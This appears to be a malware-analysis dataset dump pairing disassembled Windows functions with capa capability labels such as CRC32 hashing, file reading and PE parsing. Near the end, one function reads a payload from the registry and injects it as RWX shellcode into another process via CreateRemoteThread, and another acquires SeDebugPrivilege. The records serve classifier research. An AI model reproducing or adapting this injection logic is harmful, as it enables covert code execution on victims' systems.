joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180050f50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x50
mov rax, qword [rcx + 8]
mov ebp, r8d
mov ecx, 0x3e80000
mov rbx, qword [rax + 0x2f0]
mov rax, qword [rdx + 0x80]
movzx edx, word [rdx + 0x68]
movzx edi, word [rax + 0x18]
mov eax, 0x40000
shl edi, 0x10
cmp edi, eax
cmovl edi, eax
shl edx, 0x10
call fcn.180040000
mov dword [rsp + 0x24], eax
mov ecx, eax
cmp eax, 0x28f
jge 0x180050fa6
xor eax, eax
add rsp, 0x50
pop rdi
pop rbp
pop rbx
ret
mov eax, dword [rbx + 0x24]
mov qword [rsp + 0x80], rsi
mov esi, dword [rbx + 0x28]
mov qword [rsp + 0x48], r12
mov r12d, dword [rbx + 0x3c]
mov qword [rsp + 0x40], r13
mov r13d, dword [rbx + 0x38]
mov dword [rsp + 0x88], eax
mov eax, dword [rbx + 0x2c]
mov qword [rsp + 0x38], r14
mov r14d, dword [rbx + 0x40]
mov dword [rsp + 0x70], eax
mov eax, dword [rbx + 0x34]
mov qword [rsp + 0x30], r15
mov r15d, dword [rbx + 0x30]
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x20], r12d
test ebp, ebp
jg 0x180050ffd
mov ebp, 0x4b0000
jmp 0x18005100b
shl ebp, 0x10
mov edx, ecx
mov ecx, ebp
call fcn.180042440
mov ebp, eax
bsr ecx, ebp
bsr eax, edi
shl r12d, 0x10
add eax, ecx
cmp eax, 0x2e
jl 0x180051021
mov eax, r12d
jmp 0x18005102a
mov edx, edi
mov ecx, ebp
call fcn.180042440
mov r9d, dword [rsp + 0x88]
mov ecx, r9d
shl ecx, 0x10
cmp eax, ecx
jge 0x180051046
shl esi, 0x10
mov ecx, esi
jmp 0x180051135
mov r8d, dword [rsp + 0x70]
mov edx, r8d
shl edx, 0x10
mov dword [rsp + 0x88], edx
cmp eax, edx
jge 0x1800510a4
mov ebx, r8d
mov edx, edi
sub ebx, r9d
call fcn.180040000
mov ecx, ebp
sub ecx, eax
test ebx, ebx
je 0x180051094
sub r15d, esi
mov r8d, ebx
mov edx, r15d
call fcn.180042310
shl esi, 0x10
mov edx, edi
mov ecx, esi
mov ebx, eax
call fcn.180040000
add ebx, eax
jmp 0x18005113e
mov esi, dword [rsp + 0x78]
mov ebx, esi
mov r8d, dword [rsp + 0x70]
shl ebx, 0x10
jmp 0x1800510b1
mov esi, dword [rsp + 0x78]
mov ebx, esi
shl ebx, 0x10
cmp eax, ebx
jge 0x1800510f0
mov ecx, dword [rsp + 0x88]
mov r12d, esi
mov edx, edi
sub r12d, r8d
call fcn.180040000
mov ecx, ebp
sub ecx, eax
test r12d, r12d
je 0x1800510f5
sub r13d, r15d
mov r8d, r12d
mov edx, r13d
call fcn.180042310
shl r15d, 0x10
mov edx, edi
mov ecx, r15d
mov ebx, eax
call fcn.180040000
add ebx, eax
jmp 0x18005113e
cmp eax, r12d
jge 0x18005112e
mov r15d, dword [rsp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.180040000
sub ebp, eax
sub r15d, esi
je 0x18005112e
sub r14d, r13d
mov r8d, r15d
mov edx, r14d
mov ecx, ebp
call fcn.180042310
shl r13d, 0x10
mov edx, edi
mov ecx, r13d
mov ebx, eax
call fcn.180040000
add ebx, eax
jmp 0x18005113e
shl r14d, 0x10
mov ecx, r14d
mov edx, edi
call fcn.180040000
mov ebx, eax
mov edx, dword [rsp + 0x24]
mov ecx, ebx
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov r13, qword [rsp + 0x40]
mov r12, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop rdi
pop rbp
pop rbx
jmp fcn.180040000
Function at 0x18009d180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r14
sub rsp, 0x250
mov rax, qword [0x1800e0040]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov eax, dword [rcx + 0x58]
lea rbx, [rsp + 0x30]
mov dword [rsp + 0x40], eax
mov ebp, r9d
mov eax, dword [rcx + 0x5c]
mov rsi, rcx
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x290]
mov dword [rsp + 0x34], eax
mov dword [rsp + 0x38], edx
mov dword [rsp + 0x3c], r8d
mov dword [rsp + 0x30], r9d
mov qword [rsp + 0x278], rdi
nop dword [rax]
mov r10d, dword [rbx + 0x14]
mov eax, r10d
mov r14d, dword [rbx + 4]
cmp r10d, r14d
mov r9d, dword [rbx + 0xc]
cmovg eax, r14d
cmp r9d, eax
jl 0x18009d31c
cmp r10d, r14d
mov eax, r14d
cmovg eax, r10d
cmp r9d, eax
jg 0x18009d31c
cmp r10d, r14d
jne 0x18009d220
sub rbx, 0x10
jmp 0x18009d364
mov edx, dword [rsi + 0x88]
xor r9d, r9d
cmp r10d, r14d
setge r9b
inc r9d
cmp edx, r9d
je 0x18009d292
mov eax, dword [rsi + 4]
mov ecx, eax
mov r8d, dword [rsi + 8]
neg ecx
cmp r10d, r14d
jge 0x18009d254
dec eax
add eax, r10d
and eax, ecx
sub eax, r10d
jmp 0x18009d25c
and ecx, r10d
mov eax, r10d
sub eax, ecx
cmp eax, r8d
setge r11b
test edx, edx
je 0x18009d27b
movzx edx, r11b
mov rcx, rsi
call fcn.18009e330
test al, al
jne 0x18009d375
movzx r8d, r11b
mov edx, r9d
mov rcx, rsi
call fcn.18009e9a0
test al, al
jne 0x18009d375
mov edx, dword [rsi + 0x64]
lea r9, [0x18009ed00]
mov ecx, dword [rsi + 0x60]
mov r8, rbx
cmp r10d, r14d
jge 0x18009d2be
mov dword [rsp + 0x28], edx
mov edx, 2
mov dword [rsp + 0x20], ecx
mov rcx, rsi
call fcn.18009d000
jmp 0x18009d312
mov eax, dword [rbx + 4]
neg ecx
movzx edi, byte [rsi + 0x6a]
neg eax
mov dword [rbx + 4], eax
neg edx
mov eax, dword [rbx + 0xc]
neg eax
mov dword [rsp + 0x28], ecx
mov dword [rbx + 0xc], eax
mov rcx, rsi
mov eax, dword [rbx + 0x14]
neg eax
mov dword [rsp + 0x20], edx
mov edx, 2
mov dword [rbx + 0x14], eax
call fcn.18009d000
test dil, dil
je 0x18009d30a
cmp byte [rsi + 0x6a], 0
jne 0x18009d30a
mov rdx, qword [rsi + 0x70]
mov ecx, dword [rdx + 0x20]
neg ecx
mov dword [rdx + 0x20], ecx
mov ecx, dword [rbx + 4]
neg ecx
mov dword [rbx + 4], ecx
test al, al
jne 0x18009d375
sub rbx, 0x10
jmp 0x18009d364
mov eax, dword [rbx + 8]
mov ecx, dword [rbx + 0x10]
mov dword [rbx + 0x20], ecx
add ecx, eax
mov dword [rbx + 0x24], r10d
lea edx, [rax + rbp]
mov eax, ecx
sar eax, 1
mov dword [rbx + 0x18], eax
lea eax, [rcx + rdx]
sar eax, 2
lea ecx, [r10 + r9]
mov dword [rbx + 0x10], eax
mov eax, ecx
sar edx, 1
sar eax, 1
mov dword [rbx + 8], edx
lea edx, [r14 + r9]
mov dword [rbx + 0x1c], eax
lea eax, [rcx + rdx]
sar eax, 2
sar edx, 1
mov dword [rbx + 0x14], eax
mov dword [rbx + 0xc], edx
add rbx, 0x10
lea rax, [rsp + 0x30]
cmp rbx, rax
jb 0x18009d379
mov ebp, dword [rbx]
jmp 0x18009d1e0
mov al, 1
jmp 0x18009d382
mov dword [rsi + 0x58], ebp
xor al, al
mov dword [rsi + 0x5c], r14d
mov rdi, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.1800a8d60
mov rbx, qword [rsp + 0x280]
add rsp, 0x250
pop r14
pop rsi
pop rbp
ret
Function at 0x1800a36d0
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x1800a36ec
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800a3740
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800a3865
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1800a3865
test rax, rax
je 0x1800a3865
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1800a3865
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x1800a37da
lea rax, [0x1800a38c0]
jmp 0x1800a3833
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1800a3865
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800a3853
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x1800a3800
lea rax, [0x1800a3890]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1800a387a
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
add rsp, 0x48
pop rbp
pop rbx
ret
Function at 0x1800a45c0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r9, rdx
test rdx, rdx
jne 0x1800a45cb
xor eax, eax
ret
lea r11, [0x1800c80e0]
not ecx
cmp r8d, 8
jb 0x1800a46a1
mov r10d, r8d
shr r10, 3
nop word [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r8d, 0xfffffff8
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 4]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 5]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 6]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 7]
add r9, 8
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x1800a45f0
test r8d, r8d
je 0x1800a46cd
nop word [rax + rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
add r8d, 0xffffffff
jne 0x1800a46b0
not ecx
mov eax, ecx
ret
Function at 0x1800a829c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1800a82d6
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1800a82db
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1800a8324
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800c8830]
cmp byte [rcx + rax], 0
je 0x1800a8324
dec r8
sub rdx, 1
jne 0x1800a830a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140001000
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
lea rcx, str._JAVA_LAUNCHER_DEBUG
call qword [sym.imp.MSVCR100.dll_getenv]
test rax, rax
je 0x140001066
lea rcx, str.Windows_original_main_args:_n
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
xor ebx, ebx
cmp dword [rax], ebx
jle 0x140001066
xor edi, edi
mov rax, qword [sym.imp.MSVCR100.dll___argv]
lea rcx, str.wwwd_args__d____s_n
mov edx, ebx
mov r8, qword [rax]
mov r8, qword [r8 + rdi]
call qword [sym.imp.MSVCR100.dll_printf]
mov rax, qword [sym.imp.MSVCR100.dll___argc]
inc ebx
add rdi, 8
cmp ebx, dword [rax]
jl 0x140001038
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rcx, rax
call sub.jli.dll_JLI_CmdToArgs
call sub.jli.dll_JLI_GetStdArgc
movsxd rdi, eax
lea ecx, [rdi + 1]
movsxd rcx, ecx
shl rcx, 3
call sub.jli.dll_JLI_MemAlloc
mov rbx, rax
call sub.jli.dll_JLI_GetStdArgs
xor r9d, r9d
xor edx, edx
test edi, edi
jle 0x1400010b2
mov r9d, edi
mov rcx, qword [rax]
add rax, 0x10
mov qword [rbx + rdx*8], rcx
inc rdx
cmp rdx, rdi
jl 0x14000109f
mov rcx, qword [str.java]
movsxd rax, r9d
and qword [rbx + rax*8], 0
test rcx, rcx
jne 0x1400010c9
mov rcx, qword [rbx]
mov rax, qword [str.java]
test rax, rax
jne 0x1400010d8
mov rax, qword [rbx]
and dword [rsp + 0x68], 0
mov byte [rsp + 0x60], 0
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 1
mov qword [rsp + 0x48], rcx
mov qword [rsp + 0x40], rax
lea rax, [0x140002250]
mov r8d, 2
lea r9, str._J_ms8m
mov qword [rsp + 0x38], rax
lea rax, [0x140002240]
mov rdx, rbx
mov qword [rsp + 0x30], rax
lea rax, str._lib_tools.jar
mov ecx, edi
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r8d
call sub.jli.dll_JLI_Launch
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rdi
ret
Function at 0x14000173c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001786
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001786
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001786
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001786
cmp dword [rcx + 0x84], 0xe
jbe 0x140001786
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001788
xor al, al
add rsp, 0x28
ret

Function at 0x140005ebc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005cb8
Function at 0x180001408
Capabilities:
Hash data with crc32

Disassembly:
lea r8, [0x18003a600]
sub rax, rax
test rcx, rcx
je 0x180001523
dec rax
test rdx, rdx
je 0x180001521
test rcx, 3
je 0x18000144d
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001427
mov r10, rdx
and r10, 7
shr rdx, 3
je 0x1800014fc
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
xor eax, dword [rcx]
add rcx, 4
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x18000145e
mov rdx, r10
test rdx, rdx
je 0x180001521
xor al, byte [rcx]
add rcx, 1
mov r9, 0xff
and r9, rax
shr eax, 8
xor eax, dword [r8 + r9*4]
add rdx, 0xffffffffffffffff
jne 0x180001504
not eax
ret
Function at 0x1800072b0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x38
mov rsi, rdx
lea rdx, [0x180049c2c]
call fcn.18001f080
mov rdi, rax
test rax, rax
jne 0x1800072e4
lea rcx, str._nERR:_unable_to_open_input_file_n
call fcn.180004e10
lea eax, [rdi + 1]
add rsp, 0x38
pop rdi
pop rsi
ret
xor edx, edx
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], r12
mov rcx, rdi
mov qword [rsp + 0x28], r14
lea r8d, [rdx + 2]
call fcn.18001fa78
mov rcx, rdi
call fcn.18001acf4
xor r8d, r8d
mov r12d, eax
xor edx, edx
mov rcx, rdi
call fcn.18001fa78
mov ecx, r12d
mov ebx, r12d
call fcn.180019d30
mov r14, rax
test rax, rax
jne 0x180007341
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004e10
lea eax, [r14 + 1]
jmp 0x1800074ad
mov r9, rdi
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.180020ad8
cmp rax, rbx
je 0x18000736f
lea rcx, str._nERR:_error_reading_from_input_file_n
call fcn.180004e10
mov eax, 1
jmp 0x1800074ad
mov rcx, r14
mov qword [rsp + 0x58], rbp
call fcn.1800010a0
mov ebp, eax
cmp eax, 0xffffffff
jne 0x180007399
lea rcx, str._nERR:_compressed_data_error_n
call fcn.180004e10
mov eax, 1
jmp 0x1800074a8
mov rcx, rbp
mov qword [rsp + 0x20], r15
call fcn.180019d30
mov r15, rax
test rax, rax
jne 0x1800073c3
lea rcx, str._nERR:_not_enough_memory_n
call fcn.180004e10
lea eax, [r15 + 1]
jmp 0x1800074a3
mov qword [rsp + 0x30], r13
call fcn.18001ee80
mov r9d, ebp
mov r8, r15
mov edx, r12d
mov rcx, r14
mov ebx, eax
call section..text
mov dword [rsp + 0x60], eax
call fcn.18001ee80
mov r13d, eax
sub r13d, ebx
cmp dword [rsp + 0x60], ebp
je 0x18000740b
lea rcx, str._nERR:_an_error_occured_while_decompressing_n
call fcn.180004e10
mov eax, 1
jmp 0x18000749e
cmp qword [rsi + 0x18], 8
jb 0x180007415
mov rsi, qword [rsi]
lea rdx, [0x180049cec]
mov rcx, rsi
call fcn.18001f06c
mov rbx, rax
test rax, rax
jne 0x18000743d
lea rcx, str._nERR:_unable_to_create_output_file_n
call fcn.180004e10
lea eax, [rbx + 1]
jmp 0x18000749e
mov esi, dword [rsp + 0x60]
mov r9, rbx
mov r8d, esi
mov edx, 1
mov rcx, r15
call fcn.1800202c8
movd xmm3, r13d
lea rcx, str.Decompressed__u_____u_bytes_in__.2f_seconds_n
cvtdq2pd xmm3, xmm3
mov r8d, esi
mov edx, r12d
divsd xmm3, qword [0x18004a878]
movq r9, xmm3
call fcn.180004e10
mov rcx, rdi
call fcn.18001f804
mov rcx, rbx
call fcn.18001f804
mov rcx, r14
call fcn.180019d1c
mov rcx, r15
call fcn.180019d1c
xor eax, eax
mov r13, qword [rsp + 0x30]
mov r15, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x58]
mov r12, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0x28]
add rsp, 0x38
pop rdi
pop rsi
ret
Function at 0x1800074d0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 8], rcx
push rsi
push rdi
push r12
push r14
push r15
mov eax, 0x13e0
call fcn.1800133c0
sub rsp, rax
mov rsi, rcx
xor r12d, r12d
mov dword [rsp + 0x20], r12d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], 7
mov word [rsp + 0x28], r12w
lea r8d, [r12 + 0x24]
lea rdx, str.abcdefghijklmnopqrstuvwxyz0123456789
lea rcx, [rsp + 0x28]
call fcn.180002580
nop
mov qword [rsi], r12
mov qword [rsi + 0x10], r12
mov qword [rsi + 0x18], 7
mov word [rsi], r12w
mov ebx, 1
mov dword [rsp + 0x20], ebx
xor ecx, ecx
call fcn.180020558
mov dword [rsp + 0x13d4], 0xffffffff
mov dword [rsp + 0x54], eax
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul ecx, ecx, 0x6c078965
add ecx, ebx
mov dword [rsp + rbx*4 + 0x54], ecx
mov eax, ecx
inc rbx
cmp rbx, 0x270
jb 0x180007561
mov dword [rsp + 0x50], 0x270
mov ebx, dword [rsp + 0x38]
dec ebx
mov ebp, 6
mov r15, qword [rsp + 0x40]
mov r14, qword [rsp + 0x28]
nop
cmp ebx, 0xffffffff
jne 0x1800075b3
lea rcx, [rsp + 0x50]
call fcn.18000f260
mov edx, eax
jmp 0x1800075f1
lea edi, [rbx + 1]
mov ecx, r12d
mov eax, r12d
test ebx, ebx
je 0x1800075d1
lea rcx, [rsp + 0x50]
call fcn.18000f260
mov ecx, eax
mov eax, 0xffffffff
xor edx, edx
div edi
mov r9d, edx
mov r8d, eax
xor edx, edx
mov eax, ecx
div edi
cmp eax, r8d
jb 0x1800075eb
cmp r9d, ebx
jne 0x1800075b6
xor edx, edx
mov eax, ecx
div edi
lea rcx, [rsp + 0x28]
cmp r15, 8
cmovae rcx, r14
movsxd rax, edx
movzx r9d, word [rcx + rax*2]
mov rcx, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
cmp rcx, rdx
jae 0x180007634
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
mov rax, rsi
cmp rdx, 8
jb 0x180007627
mov rax, qword [rsi]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x18000763c
mov rcx, rsi
call fcn.18000dc10
sub rbp, 1
jne 0x1800075a0
cmp r15, 8
jb 0x18000767d
lea rdx, [r15*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x180007675
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000769c
mov rcx, r14
call fcn.180012b28
mov rax, rsi
lea r11, [rsp + 0x13e0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call fcn.180019ca4
int3
Function at 0x1800076b0
Capabilities:
Enumerate processes
Inject thread
Query or enumerate registry value
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x290
cmp qword [reloc.OLEAUT32.dll_VariantInit], 8
lea rax, [rsp + 0x2a8]
lea rbx, [0x1803c1e88]
mov qword [rsp + 0x20], rax
cmovae rbx, qword [0x1803c1e88]
lea rdx, str.Console
xor r8d, r8d
mov r9d, 1
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x180007887
mov rcx, qword [rsp + 0x2a8]
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x28], rax
xor r9d, r9d
mov qword [rsp + 0x2b0], rbp
xor r8d, r8d
xor ebp, ebp
mov rdx, rbx
mov dword [rsp + 0x2a0], ebp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000787f
mov ecx, dword [rsp + 0x2a0]
mov qword [rsp + 0x288], rsi
call fcn.180019d30
mov rcx, qword [rsp + 0x2a8]
mov rsi, rax
lea rax, [rsp + 0x2a0]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
mov rdx, rbx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x180007877
mov qword [rsp + 0x280], rdi
lea ecx, [rbp + 2]
xor edx, edx
mov edi, ebp
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800077fa
lea rdx, [rsp + 0x40]
mov dword [rsp + 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1800077f1
lea rdx, [0x180049dc0]
lea rcx, [rsp + 0x6c]
call fcn.18001f2bc
test eax, eax
je 0x1800077ed
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1800077c4
jmp 0x1800077f1
mov edi, dword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
mov edx, 1
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r8d, dword [rsp + 0x2a0]
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9d, dword [rsp + 0x2a0]
mov r8, rsi
mov rdx, rax
mov qword [rsp + 0x20], rbp
mov rcx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], ebp
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, qword [rsp + 0x280]
mov rsi, qword [rsp + 0x288]
mov rbp, qword [rsp + 0x2b0]
add rsp, 0x290
pop rbx
ret
Function at 0x180008610
Capabilities:
Acquire debug privileges

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov dword [rax + 0x18], r8d
mov qword [rax + 0x10], rdx
push rdi
sub rsp, 0x60
mov rdi, rcx
lea r8, [rax + 0x10]
xor ebx, ebx
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
mov dword [rax + 0x18], ebx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
jne 0x180008664
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.LookupPrivilegeValueW___failed__error__u_n
call fcn.180004e10
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x30]
mov qword [rsp + 0x28], rbx
mov r9d, 0x10
xor edx, edx
mov qword [rsp + 0x34], rax
mov rcx, rdi
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x3c], 2
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x1800086c3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.AdjustTokenPrivileges___failed__error__u_n
call fcn.180004e10
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x60
pop rdi
ret
mov rax, qword [rsp + 0x78]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x48], rax
mov rcx, rdi
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x44], 1
mov dword [rsp + 0x50], 2
call qword [sym.imp.ADVAPI32.dll_PrivilegeCheck]
test eax, eax
jne 0x180008720
